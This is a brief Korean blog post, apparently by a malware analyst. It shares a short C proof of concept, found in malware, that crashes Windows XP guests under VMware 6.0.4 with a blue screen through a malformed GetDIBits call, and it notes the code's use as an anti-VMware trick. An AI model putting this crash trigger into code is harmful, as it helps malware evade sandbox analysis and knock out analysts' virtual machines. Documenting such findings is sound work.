vmware + windows xp 환경에서 아래 코드를 컴파일하고 실행하면 bsod가 난다.
내 vmware의 버전은 6.0.4인데 최신버전도 bsod가 나는지는 모르겠다.
anti-vmware로 쓰일 수 있다.
악성코드에서 발견했는데 검색해보니 이미 포스트가 있다.
http://justdoitoo.spaces.live.com/blog/cns!7F95C4BBE448874!217.entry
아래는 구글번역
http://translate.google.com/translate?u=http%3A%2F%2Fjustdoitoo.spaces.live.com%2Fblog%2Fcns!7F95C4BBE448874!217.entry&sl=zh-CN&tl=ko&hl=ko&ie=UTF-8
#includevoid main() { BITMAPINFO info; memset( &info, 0, sizeof(info) ); info.bmiHeader.biSize = sizeof(info); info.bmiHeader.biWidth = 500; info.bmiHeader.biHeight = 500; info.bmiHeader.biPlanes = 1; info.bmiHeader.biBitCount = 32; info.bmiHeader.biCompression = 3; HDC dc = GetDC( NULL ); HBITMAP bm = CreateCompatibleBitmap( dc, 500, 500 ); HGLOBAL gl = GlobalAlloc( GPTR, 2000000 ); GetDIBits( dc, bm, 0, 500, gl, &info, DIB_RGB_COLORS ); }